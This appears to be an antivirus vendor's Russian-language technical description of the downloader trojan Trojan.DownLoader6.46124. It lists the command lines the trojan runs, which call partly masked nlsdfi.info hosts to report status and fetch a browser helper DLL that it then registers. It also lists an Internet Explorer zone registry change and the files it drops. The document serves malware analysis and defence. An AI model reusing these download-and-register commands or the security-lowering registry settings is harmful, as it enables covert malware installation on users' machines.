Trojan.DownLoader6.46124

Техническая информация

Вредоносные функции:

Создает и запускает на исполнение:

%TEMP%\nsl2.tmp\nsD.tmp "%PROGRAM_FILES%\OApps\dler.exe" -p "i={3325F45A-4367-4078-B66D-641625B691FA}&source=bundle&product=vb&browser=&machinebrowser=IEXPLORE.EXE" -s "http://tr###.nlsdfi.info//debug.php" -d "status2.txt"
%PROGRAM_FILES%\OApps\dler.exe -p "i={3325F45A-4367-4078-B66D-641625B691FA}&source=bundle&timestamp=2012-6-27 12:28:32&product=vb&sign=" -s "http://tr####.nlsdfi.info/install.php" -d "status4.txt"
%PROGRAM_FILES%\OApps\dler.exe -p "i={3325F45A-4367-4078-B66D-641625B691FA}&source=bundle&product=vb&browser=&machinebrowser=IEXPLORE.EXE" -s "http://tr###.nlsdfi.info//debug.php" -d "status2.txt"
%PROGRAM_FILES%\OApps\dler.exe -p "i={3325F45A-4367-4078-B66D-641625B691FA}&source=bundle&product=vb&browser=&machinebrowser=IEXPLORE.EXE" -s "http://tr####.nlsdfi.info//debug.php" -d "status3.txt"
%TEMP%\nsl2.tmp\ns10.tmp "%PROGRAM_FILES%\OApps\dler.exe" -p "i={3325F45A-4367-4078-B66D-641625B691FA}&source=bundle&product=vb&browser=&machinebrowser=IEXPLORE.EXE" -s "http://tr####.nlsdfi.info//debug.php" -d "status3.txt"
%TEMP%\nsl2.tmp\nsA.tmp "%PROGRAM_FILES%\OApps\dler.exe" -p "i={3325F45A-4367-4078-B66D-641625B691FA}&source=bundle&timestamp=2012-6-27 12:28:32&product=vb&sign=" -s "http://tr####.nlsdfi.info/install.php" -d "status4.txt"
%PROGRAM_FILES%\OApps\dler.exe -s "http://cd#.#lsdfi.info/_get/ddl/bho.dll" -d "%PROGRAM_FILES%\OApps\bho.dll"
%TEMP%\nsl2.tmp\ns3.tmp "%PROGRAM_FILES%\OApps\dler.exe" -s "http://cd#.#lsdfi.info/_get/ddl/bho.dll" -d "%PROGRAM_FILES%\OApps\bho.dll"
%PROGRAM_FILES%\OApps\VFDInstall.exe
%PROGRAM_FILES%\OApps\dler.exe -p "i={3325F45A-4367-4078-B66D-641625B691FA}&source=bundle&timestamp=2012-6-27 12:28:32&product=vb&sign=" -s "http://tr###.nlsdfi.info/install.php" -d "status.txt"
%TEMP%\nsl2.tmp\ns7.tmp "%PROGRAM_FILES%\OApps\dler.exe" -p "i={3325F45A-4367-4078-B66D-641625B691FA}&source=bundle&timestamp=2012-6-27 12:28:32&product=vb&sign=" -s "http://tr###.nlsdfi.info/install.php" -d "status.txt"

Запускает на исполнение:

<SYSTEM32>\regsvr32.exe /s "bho.dll"

Изменяет следующие настройки браузера Windows Internet Explorer:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1609' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1609' = '00000000'

Изменения в файловой системе:

Создает следующие файлы:

%TEMP%\nsl2.tmp\ns7.tmp
%TEMP%\nsh9.tmp\inetc.dll
%TEMP%\nsl2.tmp\nsA.tmp
%PROGRAM_FILES%\OApps\chromeaddon\included.js
%PROGRAM_FILES%\OApps\chromeaddon\manifest.json
%PROGRAM_FILES%\OApps\ChromeAddon.pem
%TEMP%\nsl2.tmp\ns10.tmp
%TEMP%\nsc12.tmp\inetc.dll
%PROGRAM_FILES%\OApps\conf.ini
%TEMP%\nsqC.tmp\inetc.dll
%TEMP%\nsl2.tmp\nsD.tmp
%TEMP%\nsjF.tmp\inetc.dll
%PROGRAM_FILES%\OApps\chromeaddon\background.html
%TEMP%\nsl2.tmp\nsExec.dll
%TEMP%\nsl2.tmp\ns3.tmp
%TEMP%\nsx5.tmp\inetc.dll
%TEMP%\nsl2.tmp\fct.dll
%PROGRAM_FILES%\OApps\dler.exe
%PROGRAM_FILES%\OApps\config.ini
%TEMP%\nsl2.tmp\System.dll
%PROGRAM_FILES%\OApps\VFDInstall.exe
%PROGRAM_FILES%\OApps\chromeaddon\._included.js
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\bho[1].dll
%PROGRAM_FILES%\OApps\bho.dll
%PROGRAM_FILES%\OApps\vfd-ddl_uninstall.exe